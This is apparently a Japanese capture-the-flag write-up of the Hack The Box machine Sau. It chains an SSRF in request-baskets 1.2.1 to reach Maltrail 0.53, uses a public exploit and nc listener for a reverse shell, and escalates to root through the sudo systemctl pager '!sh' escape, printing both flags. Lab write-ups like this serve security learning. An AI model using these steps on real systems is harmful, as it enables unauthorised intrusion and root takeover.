Open roaris opened 4 months ago
80番ポートは繋がらない 55555番ポートでWebアプリケーションが立ち上がった
個別のURLを持ったBasketというのを作って、URL宛てのリクエストを確認出来るというアプリケーション 3ze9avcという名前のBasketなら、http:\//10.10.11.224:55555/3ze9avc宛てのリクエストを確認出来る
Burpで通信を見てみる
Basketを作成すると(POST /api/baskets/<basket名>)、トークンが返ってきて、Local storageに保存される このトークンはBasket内のリクエストの確認や、Basketの削除時にAuthorizationヘッダで送信される トークンが間違っていると401が返される とりあえずSQLインジェクション試したが通らない
Master Tokenというのが分かると、全てのBasketを閲覧出来る
今回独自のWebアプリケーションかと思っていたら、ページの下の方にPowered by request-baskets | Version: 1.2.1
とあった
https://github.com/darklynx/request-baskets テスト用のWebhook URLを提供するなどといった目的のサービスらしい
exploit-dbでrequest-basketsを検索したが出てこない
Releasesを見たが、大きめの脆弱性はなさそう(Minor bug and security fixes
とはあるけど、詳細が不明)
request-baskets 1.2.1 cve
でGoogle検索したら出てきた SSRFの脆弱性
https://github.com/entr0pie/CVE-2023-27163
exploit-dbに載ってないとかあるのか...
BasketのForward URLに内部ネットワークのURLを指定すると、SSRFが出来るという脆弱性みたいだけど、この脆弱性を突いて出来そうなことがないな 閲覧権限のないBasketの情報を取得することは出来ない(内部からBasketへのリクエストでも、Authorizationヘッダがないので、401が返るだけ)
そういえば、ポート80の存在を思い出した
このようにForward URLを設定して、
Basketにリクエストを送信すれば、ポート80からのレスポンスを確認出来る
$ curl http://10.10.11.224:55555/h7krcrt
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="Content-Type" content="text/html;charset=utf8">
<meta name="viewport" content="width=device-width, user-scalable=no">
<meta name="robots" content="noindex, nofollow">
<title>Maltrail</title>
<link rel="stylesheet" type="text/css" href="css/thirdparty.min.css">
<link rel="stylesheet" type="text/css" href="css/main.css">
<link rel="stylesheet" type="text/css" href="css/media.css">
<script type="text/javascript" src="js/errorhandler.js"></script>
<script type="text/javascript" src="js/thirdparty.min.js"></script>
<script type="text/javascript" src="js/papaparse.min.js"></script>
</head>
<body>
<div id="header_container" class="header noselect">
<div id="logo_container">
<span id="logo"><img src="images/mlogo.png" style="width: 25px">altrail</span>
</div>
<div id="calendar_container">
<center><span id="spanToggleHeatmap" style="cursor: pointer"><a class="header-a header-period" id="period_label"></a><img src="images/calendar.png" style="width: 25px; height: 25px; vertical-align: top"></span></center>
</div>
<ul id="link_container">
<li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/blob/master/README.md" id="documentation_link" target="_blank">Documentation</a></li>
<li class="header-li link-splitter">|</li>
<li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/wiki" id="wiki_link" target="_blank">Wiki</a></li>
<li class="header-li link-splitter">|</li>
<!-- <li class="header-li"><a class="header-a" href="https://docs.google.com/spreadsheets/d/1lJfIa1jPZ-Vue5QkQACLaAijBNjgRYluPCghCVBMtHI/edit" id="collaboration_link" target="_blank">Collaboration</a></li>
<li class="header-li link-splitter">|</li>-->
<li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/issues/" id="issues_link" target="_blank">Issues</a></li>
<li class="header-li link-splitter hidden" id="login_splitter">|</li>
<li class="header-li"><a class="header-a hidden" id="login_link">Log In</a></li>
<li class="header-li"></li>
</ul>
</div>
<div id="heatmap_container" class="container hidden" style="text-align: center">
<div>
<button id="heatmap-previous" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" type="button" role="button">
<span class="ui-icon ui-icon-carat-1-w"></span>
</button>
<button id="heatmap-next" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" type="button" role="button">
<span class="ui-icon ui-icon-carat-1-e"></span>
</button>
</div>
<div style="display: inline-block; float: top; vertical-align: top; margin-top: 5px">
<div id="cal-heatmap" style="display: inline-block"></div>
</div>
</div>
<div id="main_container" class="container hidden">
<div id="status_container" style="width: 100%; text-align: center">
<div>
<ul style="list-style: outside none none; overflow: hidden; font-family: sans-serif; padding: 0px; display: inline-block; white-space: nowrap">
<li id="btnDrawThreats" class="status-button noselect" style="background: rgb(31, 119, 180); background: radial-gradient(rgb(174, 199, 232) 0%, rgb(31, 119, 180) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Threats">
<h4 id="threats_count">-</h4>
<span class="dynamicsparkline" id="threats_sparkline"></span>
<h6>Threats</h6>
</li>
<li id="btnDrawEvents" class="status-button noselect" style="background: rgb(255, 127, 14); background: radial-gradient(rgb(255, 187, 120) 0%, rgb(255, 127, 14) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Events">
<h4 id="events_count">-</h4>
<span class="dynamicsparkline" id="events_sparkline"></span>
<h6>Events</h6>
</li>
<li id="btnDrawSeverity" class="status-button noselect" style="background: rgb(44, 160, 44); background: radial-gradient(rgb(152, 223, 138) 0%, rgb(44, 160, 44) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Severity">
<h4 id="severity_count">-</h4>
<span class="dynamicsparkline" id="severity_sparkline"></span>
<h6>Severity</h6>
</li>
<li id="btnDrawSources" class="status-button noselect" style="background:rgb(214, 39, 40); background: radial-gradient(rgb(255, 152, 150) 0%, rgb(214, 39, 40) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Sources">
<h4 id="sources_count">-</h4>
<span class="dynamicsparkline" id="sources_sparkline"></span>
<h6>Sources</h6>
</li>
<li id="btnDrawTrails" class="status-button noselect" style="background:rgb(148, 103, 189); background: radial-gradient(rgb(197, 176, 213) 0%, rgb(148, 103, 189) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Trails">
<h4 id="trails_count">-</h4>
<span class="dynamicsparkline" id="trails_sparkline"></span>
<h6>Trails</h6>
</li>
</ul>
</div>
<div>
<!--<label>title</label>-->
<img id="graph_close" src="images/close.png" class="hidden" title="close">
</div>
<div id="chart_area">
</div>
</div>
<table width="100%" border="1" cellpadding="2" cellspacing="0" class="display compact" id="details">
</table>
</div>
<noscript>
<div id="noscript">
Javascript is disabled in your browser. You must have Javascript enabled to utilize the functionality of this page.
</div>
</noscript>
<div id="bottom_blank"></div>
<div class="bottom noselect">Powered by <b>M</b>altrail (v<b>0.53</b>)</div>
<ul class="custom-menu">
<li data-action="hide_threat">Hide threat</li>
<li data-action="report_false_positive">Report false positive</li>
</ul>
<script defer type="text/javascript" src="js/main.js"></script>
</body>
</html>
Proxy Responseにチェックを入れることで、Forward URLからのレスポンスを確認出来る Expand Forward Pathにチェックを入れることで、例えば、http:\//10.10.11.224:55555/h7krcrt/js/main.jsへのリクエストがhttp:\//127.0.0.1/js/main.jsにforwardされる
aタグの中のリンクを確認した
https://github.com/stamparm/maltrail : Maltrailという悪意のあるトラフィックを検知するためのシステムがあるらしい
HTMLの下の方にPowered by <b>M</b>altrail (v<b>0.53</b>)
とあるので、Maltrail v0.53が使われていると分かる
https://docs.google.com/spreadsheets/d/1lJfIa1jPZ-Vue5QkQACLaAijBNjgRYluPCghCVBMtHI/edit : 謎のスプレッドシート(勝手に編集出来るし、重要情報はないはず)
exploit-dbでMaltrailを調べたけど出てこなかった
けど、Maltrail 0.53
でGoogle検索したら出てきた
https://github.com/spookier/Maltrail-v0.53-Exploit
WAFなどの検知を回避するためにペイロードをbase64エンコードしているらしい
$ python exploit.py 10.10.14.20 8000 http://10.10.11.224:55555/h7krcrt
でリバースシェルを取れた
$ nc -lvp 8000
listening on [any] 8000 ...
10.10.11.224: inverse host lookup failed: Unknown host
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.224] 48204
$ bash -i
bash -i
puma@sau:/opt/maltrail$ whoami
whoami
puma
user.txtをゲット
puma@sau:/opt/maltrail$ cd /home
cd /home
puma@sau:/home$ ls
ls
puma
puma@sau:/home$ cd puma
cd puma
puma@sau:~$ ls
ls
user.txt
puma@sau:~$ cat user.txt
cat user.txt
9d56e21024c2d793518953262ae8fca9
sudo -lすると、/usr/bin/systemctl status trail.serviceがroot権限で実行可能なことが分かったけど、trail.serviceのステータスが確認出来るだけなので、権限昇格には繋がらないはず
puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$ /usr/bin/systemctl status trail.service
/usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2024-05-06 05:40:02 UTC; 4h 23min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 916 (python3)
Tasks: 22 (limit: 4662)
Memory: 37.7M
CGroup: /system.slice/trail.service
├─ 916 /usr/bin/python3 server.py
├─1453 /bin/sh -c logger -p auth.info -t "maltrail[916]" "Failed p…
├─1454 /bin/sh -c logger -p auth.info -t "maltrail[916]" "Failed p…
├─1463 sh
├─1464 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I…
├─1465 /bin/sh
├─1469 script /dev/null -c bash
├─1470 bash
├─1513 sudo /usr/bin/systemctl status trail.service
├─1514 /usr/bin/systemctl status trail.service
├─1515 pager
├─1516 sh -c /bin/bash -c /bin/bash
├─1517 /bin/bash
├─1569 /bin/sh -c logger -p auth.info -t "maltrail[916]" "Failed p…
├─1570 /bin/sh -c logger -p auth.info -t "maltrail[916]" "Failed p…
├─1573 sh
├─1574 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I…
├─1575 /bin/sh
├─1576 bash -i
└─1590 /usr/bin/systemctl status trail.service
May 06 09:18:43 sau su[1485]: pam_unix(su:auth): authentication failure; l…=root
May 06 09:18:45 sau su[1485]: FAILED SU (to root) puma on pts/1
May 06 09:19:09 sau su[1486]: pam_unix(su:auth): authentication failure; l…=root
May 06 09:19:11 sau su[1486]: FAILED SU (to root) puma on pts/1
May 06 09:22:04 sau sudo[1506]: pam_unix(sudo:auth): authentication failur…=puma
Warning: journal has been rotated since unit was started and some journal files were not opened due to insufficient permissions, output may be incomplete.
Hint: Some lines were ellipsized, use -l to show in full.
/home/puma/.gnupgが怪しいかも GnuPGは暗号化のためのソフトウェアらしい private-keys-v1.dの中は空
puma@sau:~$ ls -al
ls -al
total 32
drwxr-xr-x 4 puma puma 4096 Jun 19 2023 .
drwxr-xr-x 3 root root 4096 Apr 15 2023 ..
lrwxrwxrwx 1 root root 9 Apr 14 2023 .bash_history -> /dev/null
-rw-r--r-- 1 puma puma 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 puma puma 3771 Feb 25 2020 .bashrc
drwx------ 2 puma puma 4096 Apr 15 2023 .cache
drwx------ 3 puma puma 4096 Apr 15 2023 .gnupg
-rw-r--r-- 1 puma puma 807 Feb 25 2020 .profile
lrwxrwxrwx 1 puma puma 9 Apr 15 2023 .viminfo -> /dev/null
lrwxrwxrwx 1 puma puma 9 Apr 15 2023 .wget-hsts -> /dev/null
-rw-r----- 1 root puma 33 May 6 05:40 user.txt
puma@sau:~$ ls -al .gnupg
ls -al .gnupg
total 20
drwx------ 3 puma puma 4096 Apr 15 2023 .
drwxr-xr-x 4 puma puma 4096 Jun 19 2023 ..
drwx------ 2 puma puma 4096 Apr 15 2023 private-keys-v1.d
-rw------- 1 puma puma 32 Apr 15 2023 pubring.kbx
-rw------- 1 puma puma 1200 Apr 15 2023 trustdb.gpg
puma@sau:~$ ls -al .gnupg/private-keys-v1.d
ls -al .gnupg/private-keys-v1.d
total 8
drwx------ 2 puma puma 4096 Apr 15 2023 .
drwx------ 3 puma puma 4096 Apr 15 2023 ..
詰んだのでGuided Mode
Task9 : What is the full path to the application the user puma can run as root on Sau? Hint : Run the sudo -l command to see what applications the user can run as root. A : /usr/bin/systemctl
Task10 : What is the full version string for the instance of systemd installed on Sau? Hint : Refer to the man page for systemctl on how to find the systemd version installed on the system.
そこに着目するのか... /usr/bin/systemctl status trail.service を実行して権限昇格に繋がるとは思えないが... https://www.nixcraft.com/t/how-to-find-systemd-version-on-linux/3848 によると、systemctl --versionでsystemdのバージョンを確認出来る
puma@sau:~$ /usr/bin/systemctl --version
/usr/bin/systemctl --version
systemd 245 (245.4-4ubuntu3.22)
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
A : systemd 245 (245.4-4ubuntu3.22)
systemd 245 priviledge escalation でGoogle検索すると、https://bugzilla.redhat.com/show_bug.cgi?id=2175611 を見つけた
https://security.sios.jp/vulnerability/systemd-security-vulnerability-20230307/ こっちの方が分かりやすい
ターミナルのサイズが小さいと、systemctl statusの結果がlessに渡されて、その時に!sh
を打ち込むとシェルが起動出来るというもの
そんな脆弱性があるとは
Task11 : What is the CVE ID for a local privilege escalation vulnerability that affects that particular systemd version? Hint : Search for terms like "Systemd Vulnerabilities" A : CVE-2023-26604
root.txtをゲット
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!sh
!sshh!sh
# bash -i
bash -i
root@sau:/home/puma# whoami
whoami
root
root@sau:/home/puma# cd /root
cd /root
root@sau:~# ls
ls
go root.txt
root@sau:~# cat root.txt
cat root.txt
cd0cd0fde253162d06453e02718cf510
解き方まとめ
https://app.hackthebox.com/machines/Sau